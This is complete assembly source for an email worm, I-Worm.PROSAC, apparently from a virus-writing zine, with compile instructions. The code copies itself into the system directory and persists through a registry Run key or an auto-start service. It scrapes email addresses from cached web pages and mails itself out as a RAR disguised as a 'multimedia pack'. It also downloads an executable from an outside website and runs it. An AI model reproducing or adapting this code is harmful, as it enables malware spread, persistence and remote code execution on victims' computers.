Whackerz #1
I-Worm.PROSAC by Radix16/Whackerz
; ------------------------
;
; This is worm spreading attached to Email messages.
; First execute put up the message :
;
; ---------------------------------x
; |Prosac Installation |
; |--------------------------------|
; | |
; |Complete! Please restart system.|
; | __ |
; | |OK| |
; | -- |
; ----------------------------------
;
; Win9x/ME Registry key:
; --------
; SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
;
; Worm run as Service process.
;
; Win2k/XP Create service
; --------
; thx M$ a AUTO_START_SERVICE
;
; Create RAR archive for email spreading.
; --------------------------------------
; RAR >
; readme.txt
; setup.exe
; install.pak
; service.pak
; modem.pak
; sound.pak
; graphic.pak
;
; Find archive in Windows directory \prosac.rar
;
; Email spread used MAPI function
; -------------------------------
;
; In the Outlook Express 6.0 not used Kill trix.(bug)
; Email adress search in the Temporary Internet File (*.htm*)
;
; IE6 safeguard:
; -------------
;
; ---------------------------------------------
; |Outlook Express |?|X|
; |--------------------------------------------
; | Programme with ............. |
; | !!! |
; | ! |
; | To: [email address] |
; | |
; | Subject: [TEXT] |
; | |
; | You want this message send ? |
; | |
; | SEND NO SEND |
; ---------------------------------------------
;
; E-MAIL:
; ------
;
; Subject: PROSAC
;
; Text mail: Attach file is new multimedia pack
; for Win9x/ME/NT/2000 and some WinXP!
;
; (c) Copyright PROSAC SW
;
; Attach file: prosac.rar
;
;
; Download SMTP sender
; -------------------
; Worm connect to my website and download binary file in > System
; directory \ sender.exe and execute it.
;
; http://www.volny.cz/radix16/prosac/sender.EXE
;
; How to compile
; --------------
;
; tasm32 -ml -m9 Prosac.asm
; tlink32 -Tpe -aa -c Prosac.obj,,,import32.lib,prosac.def
; pewrsec Prosac.exe
;
; ------------------------- prosac.def ---------------
;
; IMPORTS
;
; WININET.InternetGetConnectedState
; WININET.InternetOpenA
; WININET.InternetOpenUrlA
; WININET.InternetReadFile
; WININET.InternetCloseHandle
;
;
; ------------------------- prosac.def ---------------
;
; contact me
; ----------
;
; radix16@atlas.cz
; radix16.cjb.net
;
; close
; -----
; 7/6/2002
.386
jumps
locals
.Model Flat,STDCALL
extrn GetModuleHandleA :PROC
extrn ExitProcess :PROC
extrn CreateThread :PROC
extrn GetVersion :PROC
extrn Sleep :PROC
extrn GetModuleFileNameA :PROC
extrn SetFilePointer :PROC
extrn SetCurrentDirectoryA :PROC
extrn GetSystemDirectoryA :PROC
extrn GetProcAddress :PROC
extrn GetWindowsDirectoryA :PROC
extrn RegCreateKeyExA :PROC
extrn RegOpenKeyExA :PROC
extrn RegQueryValueExA :PROC
extrn RegCloseKey :PROC
extrn RegSetValueExA :PROC
extrn CopyFileA :PROC
extrn GetSystemTime :PROC
extrn WriteFile :PROC
extrn ReadFile :PROC
extrn GetFileSize :PROC
extrn lstrcat :PROC
extrn FindFirstFileA :PROC
extrn FindClose :PROC
extrn FindNextFileA :PROC
extrn CreateFileA :PROC
extrn CloseHandle :PROC
extrn UnmapViewOfFile :PROC
extrn CreateFileMappingA :PROC
extrn CreateFileA :PROC
extrn MapViewOfFile :PROC
extrn CreateMutexA :PROC
extrn OpenMutexA :PROC
extrn CreateServiceA :PROC
extrn StartServiceCtrlDispatcherA: PROC
extrn RegisterServiceCtrlHandlerA: PROC
extrn OpenSCManagerA :PROC
extrn OpenServiceA :PROC
extrn CloseServiceHandle :PROC
extrn SetServiceStatus :PROC
extrn DeleteService :PROC
extrn LoadLibraryA :PROC
extrn FindWindowA :PROC
extrn PostMessageA :PROC
extrn WinExec :PROC
extrn MessageBoxA :PROC
extrn MAPILogon :PROC
extrn MAPILogoff :PROC
extrn MAPISendMail :PROC
extrn InternetGetConnectedState: PROC
extrn InternetOpenA :PROC
extrn InternetCloseHandle :PROC
extrn InternetOpenUrlA :PROC
extrn InternetReadFile :PROC
include useful.inc
include win32api.inc
HeaderSize equ end_rar - RARHeader
SOCK_STREAM equ 1
AF_INET equ 2
KEY_ALL_ACCESS equ 0F003FH
max_path equ 256
file_size equ 12800
.data
_name db 'I-Worm.Prosac by Radix16',0
_text db 'hi, your PC is future for virus',0
file_name db '\tapi32.exe',0
rar_name db '\prosac.rar',0
dwnl_file db '\sender.exe',0
service_name db 'tapi32ms',0
k32 db 'kernel32.dll',0
readme_txt:
db ' -----------------------------------',0dh,0ah
db ' Welcome to PROSAC (multimedia pack)',0dh,0ah
db ' -----------------------------------',0dh,0ah
db 0dh,0ah
db ' (c) Copyright PROSAC',0dh,0ah
db 0dh,0ah
db ' files',0dh,0ah
db ' -----',0dh,0ah
db 0dh,0ah
db ' readme.txt',0dh,0ah
db ' setup.exe',0dh,0ah
db ' install.pak',0dh,0ah
db ' service.pak',0dh,0ah
db ' modem.pak',0dh,0ah
db ' sound.pak',0dh,0ah
db ' graphic.pak',0dh,0ah
db 0dh,0ah
db ' install',0dh,0ah
db ' -------',0dh,0ah
db 0dh,0ah
db ' 1) Run setup.exe',0dh,0ah
db ' 2) Reboot computer',0dh,0ah
db 0dh,0ah
db ' close',0dh,0ah
db ' -----',0dh,0ah
db ' Effect is,',0dh,0ah
db ' corect modem, sound and graphic bugs in (Win9X/ME/NT/2000/XP)',0dh,0ah
db 0dh,0ah
db ' Good luck.',0dh,0ah
size_readme_txt = $ - readme_txt
others_file:
db 'setup.exe',0
db 'install.pak',0
db 'service.pak',0
db 'modem.pak',0
db 'sound.pak',0
db 'graphic.pak',0
size_file_size = $ - others_file
db 0BCh
MapiMessage equ $
dd ?
dd offset subject
dd offset textmail
dd ?
dd offset date
dd ?
dd 2
dd offset MsgFrom
dd 1
dd offset MsgTo
dd 1
dd offset MapiFileDesc
MsgFrom equ $
dd ?
dd ?
dd offset namefrom
dd offset mailfrom
dd ?
dd ?
MsgTo equ $
dd ?
dd 1
dd offset nameto
dd offset email_ads
dd ?
dd ?
MapiFileDesc equ $
dd ?
dd ?
dd ?
dd offset win_dir
dd ?
dd ?
; MAPI data for send email
subject db 'PROSAC',0
date db '21/9/2002',0
namefrom db 'PROSAC SW',0
mailfrom db 'prosac@bugs.com',0
nameto db 'sppl',0
textmail db 'Attach file is new multimedia pack',0dh,0ah
db 'for Win9x/ME/NT/2000 and some WinXP!',0dh,0ah
db 0dh,0ah
db '(c) Copyright PROSAC SW',0
;**********************************
; RAR DATA HEADER
;**********************************
First_pak:
db 'Rar!',01ah,07h,00h,0cfh,090h,073h,00h,00h,0dh,00h,00h
db 00h,00h,00h,00h,00h
RARHeader:
RARHeaderCRC dw 0
db 074h
dw 8000h
dw end_rar - RARHeaderCRC
RARCompressed dd 0
RAROriginal dd 0
db 0
RARCrc32 dd 0
db 063h,078h
db 031h,024h
db 014h
db 030h
dw end_rar - RARName
dd 0
RARName db 'readme.txt',10 dup (00)
end_rar:
bFailIfExists dd 0
lpThreadId dd 0
lpParameter dd 0
num dd 0
fhandle dd 0
mhandle dd 0
hsocket dd 0
pak_size dd 0
khandle dd 0
shandle dd 0
sehandle dd 0
maphandle dd 0
mapaddress dd 0
h_Key dd 0
FirstRun dd 0
tmp dd 0
ihandle dd 0
MAPISession dd 0
WSADATA struc
mVersion dw ?
mHighVersion dw ?
szDescription db 257 dup (?)
szSystemStatus db 129 dup (?)
iMaxSockets dw ?
iMaxUpdDg dw ?
lpVendorInfo dd ?
WSADATA ends
SOCKADDR:
sin_family dw 2
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (?)
SOCKADDR_SIZE = $ - SOCKADDR
kdata db 260 dup(0)
klen dd 260
ktype dd 0
filetim struct
FT_dwLowDateT dd ?
FT_dwHighDateT dd ?
filetim ends
w32fd struct
FileAttributes dd ?
CreationTime filetim ?
LastAccessTime filetim ?
LastWriteTime filetim ?
FileSizeHigh dd ?
FileSizeLow dd ?
Reserved0 dd ?
Reserved1 dd ?
FileNameC db max_path DUP (00)
AlternateFileN db 13 dup (?)
db 3 dup (?)
w32fd ends
SYSTEMTIME struct
wYear WORD ?
wMonth WORD ?
wDayOfWeek WORD ?
wDay WORD ?
wHour WORD ?
wMinute WORD ?
wSecond WORD ?
wMilliseconds WORD ?
SYSTEMTIME ends
SERVICE_STATUS struct
dd 10h or 20h ;dwServiceType
dd 4 ;dwCurrentState
dd 0 ;dwControlsAccepted
dd 0 ;dwWin32ExitCode
dd 0 ;dwServiceSpecificExitCode
dd 0 ;dwCheckPoint
dd 0 ;dwWaitHint
SERVICE_STATUS ends
search w32fd ?
SystemTime SYSTEMTIME <>
wsadata WSADATA <>
db 256 dup (0)
email_ads db 'test@roller.net',0,40 dup (?)
win_dir db 256 dup (?)
worm_name db 256 dup (?)
data_buffer db 28672 dup (?)
.code
;------------------------------------ start virus -------
start: pushad
push 8000
call Sleep
next:
push 0 ; address of module name
call GetModuleHandleA
mov mhandle,eax
push 256 ; size of buffer
push offset worm_name ; pointer to buffer
push eax ; handle to module to find filename
call GetModuleFileNameA
call GetVersion
call reg_service
r_:
call init_worm
call rar
push NULL
call $+9
dd 00000000h
call InternetGetConnectedState
or eax,eax
je wait_
call test6x
or eax,eax
je no_mapi_send_mail
call send_mail
no_mapi_send_mail:
call Download__
wait_:
push 120000
call Sleep
cmp dword ptr [FirstRun],0FFh
jne no_transparent
push 0
@pushsz 'Prosac Installation'
@pushsz 'Complete! Please restart system.'
push 0
call MessageBoxA
no_transparent:
push 256
push offset win_dir
call GetSystemDirectoryA
push offset file_name
push offset win_dir
call lstrcat
push 0
push offset win_dir
call WinExec
popad
push 0
call ExitProcess
;------------------------------------ Thread Init-------
; install thread
init_worm: push 256 ; size of directory buffer
push offset win_dir ; address of buffer for system directory
call GetSystemDirectoryA
push offset file_name ; pointer to string to add to string1
push offset win_dir ; pointer to buffer for concatenated
call lstrcat ; strings
push offset search ; Testing Infect
push offset win_dir
call FindFirstFileA
inc eax
jne found_file ; found prosac.exe ?
mov dword ptr [FirstRun],0FFh ; Flag
push bFailIfExists ; flag for operation if file exists
push offset win_dir ; pointer to filename to copy
push offset worm_name ; pointer to name of an existing file
call CopyFileA
found_file:
call service
ret
;------------------------------------ End Thread Init --
;------------------------------------ Thread Spread ----
; spread thread
; create rar file, search email in Temporary Internet files
send_mail: call __connect
test eax,eax
jne err_mapi
call __send
call s_email
call __disconnect
err_mapi:
ret
;------------------------------------ End Thread Spread ----
;***********************************
; SEND MAIL
;***********************************
__send:
call GetVersion
cmp al,5
jne _9x_me
db 30h dup (90h)
_9x_me:
xor eax, eax
push eax
push eax
push offset MapiMessage
push eax
push dword ptr [MAPISession]
call MAPISendMail
ret
;***********************************
; MAPILogon
;***********************************
__connect:
xor eax,eax
push offset MAPISession
push eax
push eax
push eax
push eax
push eax
call MAPILogon
ret
;***********************************
; MAPILogoff
;***********************************
__disconnect:
xor eax,eax
push eax
push eax
push eax
push dword ptr [MAPISession]
call MAPILogoff
ret
;**********************************
; SEARCH email address
;**********************************
;
; !!Spread Thread!!
s_email:
mov ebx,80000002h
call __1__s
db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths',0
__1__s:
pop edx
call proc1
call __2__s
db 'Directory',0
__2__s:
pop edx
call proc2
push offset kdata
call SetCurrentDirectoryA
push offset search
@pushsz '*.*'
call FindFirstFileA
inc eax
je quit_search
dec eax
mov dword ptr [shandle],eax
loop_____:
lea edi,[search.FileNameC]
cmp byte ptr [edi],'.'
je _NextSearchDirec
mov ecx,100
s_dot:
inc edi
cmp byte ptr [edi],'.'
je _NextSearchDirec
loop s_dot
jmp s_html
_NextSearchDirec:
push offset search
push dword ptr [shandle]
call FindNextFileA
dec eax
je loop_____
jmp leave_s
s_html: lea edi,[search.FileNameC]
push edi
call SetCurrentDirectoryA
push offset search
@pushsz '*.htm*'
call FindFirstFileA
inc eax
je quit_search
dec eax
mov dword ptr [sehandle],eax
try_search:
lea edi,[search.FileNameC]
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
push GENERIC_READ
push edi
call CreateFileA
inc eax
je next_s
dec eax
mov dword ptr [fhandle], eax
xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push dword ptr [fhandle]
call CreateFileMappingA
or eax,eax
jz e_hanf
mov dword ptr [maphandle],eax
xor ebx,ebx
push ebx
push ebx
push ebx
push FILE_MAP_READ
push eax
call MapViewOfFile
or eax,eax
jz e_maph
mov dword ptr [mapaddress], eax
mov edi, offset email_ads
mov esi, eax
push NULL
push [fhandle]
call GetFileSize
xchg eax,ecx
jecxz u_v_f
mov edi,offset email_ads
seekit: cmp dword ptr [esi], 'iam"'
jnz ckuf
cmp dword ptr [esi+4], ":otl"
jz librty
ckuf: inc esi
skream: loop seekit
stc
jmp u_v_f
librty: lea esi,[esi+8]
cpmail: lodsb
stosb
cmp al,'"'
jnz cpmail
mov byte ptr [edi-1],00h
clc
push ecx
call __send
pop ecx
jmp seekit
u_v_f:
push dword ptr [mapaddress]
call UnmapViewOfFile
e_maph: push dword ptr [maphandle]
call CloseHandle
e_hanf: push dword ptr [fhandle]
call CloseHandle
next_s:
push offset search
push dword ptr [sehandle]
call FindNextFileA
dec eax
je try_search
push dword ptr [sehandle]
call FindClose
quit_search:
push offset kdata
call SetCurrentDirectoryA
jmp _NextSearchDirec
leave_s:
ret
;**********************************
; SERVICE
;**********************************
;
; SC_MANAGER_CONNECT = 1 Enables connecting to the service control manager
; SC_MANAGER_CREATE_SERVICE = 2 Enables calling of the CreateService function
;
; !!Init Thread!!
service:
call GetVersion
cmp al,5 ; Win2K ?
jne win9x
push 1 or 2 ; type of access
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
test eax,eax
jz win9x
xchg eax,edi
push 10000h
push offset service_name
push edi
call OpenServiceA
xchg eax, ecx
jecxz i_service
push ecx
push ecx
call DeleteService
call CloseServiceHandle
i_service:
xor eax,eax
push eax ; pointer to password
push eax ; name
push eax ; pointer to array of dependency names
push eax ; pointer to variable to get tag identifier
push eax ; pointer to name of load ordering group
push offset win_dir ; binary
push eax ; severity if service fails to start
push 2 ; dwStartType SERVICE_AUTO_START
push 10h ; SERVICE_WIN32_OWN_PROCESS
push eax ; dwDesiredAccess
push offset service_name ; pointer to display name
push offset service_name ; pointer to name of service to start
push edi ; handle to service control manager database
call CreateServiceA
test eax,eax
je s_e
push eax ; handle
call CloseServiceHandle
s_e: push esi
call CloseServiceHandle
ret
reg_service:
call sc_
dd offset service_name
dd offset service_start
dd 0
dd 0
sc_:
call StartServiceCtrlDispatcherA
dec eax
jne r_
inc eax
push 0
call ExitProcess
win9x:
push offset k32
call GetModuleHandleA
@pushsz 'RegisterServiceProcess'
push eax
call GetProcAddress
xchg eax, ecx
jecxz ohh_ja
push 1
push 0
call ecx
ohh_ja:
xor eax,eax
push offset tmp
push offset h_Key
push eax
push 3
push eax
push eax
push eax
@pushsz 'SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices'
push 80000002h
call RegCreateKeyExA
push 256
push offset win_dir
push 1
push 0
@pushsz 'PROSAC'
mov ebx, dword ptr [h_Key]
push ebx
call RegSetValueExA
push ebx
call RegCloseKey
end_9x_r:
ret
service_start:
pushad
push offset end_9x_r ; address of handler function
push offset service_name ; address of name of service
call RegisterServiceCtrlHandlerA
test eax,eax
je r_
push eax
push offset SERVICE_STATUS
push eax
call SetServiceStatus
call CloseServiceHandle
jmp r_
test6x:
mov ebx,80000002h
call __test61
db 'SOFTWARE\Microsoft\Internet Explorer',0
__test61:
pop edx
call proc1
call __test62
db 'version',0
__test62:
pop edx
call proc2
cmp byte ptr [kdata],'6'
je no_mapi
mov eax,01101001
ret
no_mapi:
xor eax,eax
ret
;**********************************
; CREATE RAR
;**********************************
;
; %windir\prosac.rar
;
; !!Spread Thread!!
rar:
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
push GENERIC_READ
push offset win_dir
call CreateFileA
inc eax
je fucka
dec eax
xchg eax,ebx
push 0
push offset num
push 12800
push offset data_buffer
push ebx
call ReadFile
push ebx ; handle
call CloseHandle
push 256
push offset win_dir
call GetWindowsDirectoryA
push offset rar_name ; pointer to string to add to string1
push offset win_dir ; pointer to buffer for concatenated
call lstrcat ; strings
push offset search
push offset win_dir
call FindFirstFileA
inc eax
jne fucka
dec eax
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL ; file attributes
push CREATE_ALWAYS
push eax
push FILE_SHARE_READ ; share mode
push GENERIC_WRITE ; access (read-write) mode
push offset win_dir
call CreateFileA
inc eax
je fucka
dec eax
mov dword ptr [fhandle],eax
mov dword ptr [RARCompressed],size_readme_txt
mov dword ptr [RAROriginal],size_readme_txt
mov esi,offset readme_txt
mov edi,size_readme_txt
call CRC32
mov dword ptr [RARCrc32],eax
mov esi,offset RARHeader+2
mov edi,HeaderSize-2
call CRC32
mov word ptr [RARHeaderCRC],ax
mov esi,offset First_pak
mov ecx,end_rar - First_pak
call Write_file
mov esi,offset readme_txt
mov ecx,size_readme_txt
call Write_file
mov eax,offset RARName
mov ebx,offset others_file
mov ecx,size_file_size
n_file_loop:
mov dl,byte ptr [ebx]
mov [eax],dl
cmp dl,0BCh
je end_c_r
or dl,dl
je set_nf_c
inc eax
inc ebx
loop n_file_loop
end_c_r: xor ecx,ecx
jmp rar_finisch
set_nf_c:
push ecx
mov edi,ebx
push edi
xor ebx,ebx
add ebx,pak_size
mov eax,offset data_buffer
add ebx,file_size
mov dword ptr [RARCompressed],ebx
mov dword ptr [RAROriginal],ebx
push eax
push ebx
next_file:
mov esi,eax
mov edi,ebx
call CRC32
mov dword ptr [RARCrc32],eax
mov esi,offset RARHeader+2
mov edi,HeaderSize-2
call CRC32
mov word ptr [RARHeaderCRC],ax
mov esi,offset RARHeader
mov ecx,HeaderSize
call Write_file
pop ebx
pop eax
mov esi,eax
mov ecx,ebx
call Write_file
pop edi
mov ebx,edi
inc ebx
pop ecx
mov eax,offset RARName
add dword ptr [pak_size],1156
jmp n_file_loop
rar_finisch:
push dword ptr [fhandle] ; handle
call CloseHandle
fucka:
ret
;////////////// WRITE FILE /////////
; esi: pointer
; ecx: size
;//////////////
Write_file: push 0 ; lpOverlapped
push offset num ; lpNumberOfBytesWritten
push ecx ; number of bytes to write
push esi ; pointer to data to write to file
push dword ptr [fhandle] ; handle
call WriteFile
ret
;////////////// SET FILE POINTER //
; eax: 0 - begin
; 1 - current
; 2 - end
;//////////////
_sfpointer: push eax
push 0
push 0
push dword ptr [fhandle]
call SetFilePointer
ret
;**********************************
; CRC32
;**********************************
;
CRC32: cld
push ebx
mov ecx,-1
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0edb8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec di
jnz NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
ret
;**********************************
; READ KEY
;**********************************
;
; Read temporary internet files path for
; !Spread Thread!!
proc1: lea eax, dword ptr [offset khandle]
push eax
push KEY_ALL_ACCESS
push 0
push edx
push ebx
call RegOpenKeyExA
ret
proc2:
lea eax, dword ptr [offset klen]
push eax
lea eax, dword ptr [offset kdata]
push eax
lea eax, dword ptr [offset ktype]
push eax
push 0
push edx
mov eax, dword ptr [khandle]
push eax
call RegQueryValueExA
push eax
push dword ptr [khandle]
call RegCloseKey
pop eax
ret
Download__: pushad
push 256
push offset win_dir
call GetSystemDirectoryA
push offset dwnl_file
push offset win_dir
call lstrcat
xor eax,eax
push eax
push FILE_ATTRIBUTE_NORMAL
push CREATE_ALWAYS
push eax
push FILE_SHARE_READ
push GENERIC_WRITE
push offset win_dir
call CreateFileA
inc eax
je cr_err
dec eax
mov [fhandle],eax
xor eax,eax
push eax
push eax
push eax
push eax
push offset service_name
call InternetOpenA
test eax,eax
je err_IO
xchg eax,ebx
xor eax,eax
push eax
push 80000000h
push eax
push eax
@pushsz 'http://www.volny.cz/radix16/prosac/sender.EXE'
push ebx
call InternetOpenUrlA
test eax,eax
je err_IOU
xchg eax,esi
push offset tmp
push 28672
push offset data_buffer
push esi
call InternetReadFile
xchg eax,ecx
jecxz err_IRF
mov esi,offset data_buffer
mov ecx,28672
call Write_file
err_IRF: push esi
call InternetCloseHandle
err_IOU:
push ebx
call InternetCloseHandle
err_IO:
push dword ptr [fhandle]
call CloseHandle
push 0
push offset win_dir
call WinExec
cr_err:
popad
ret
end start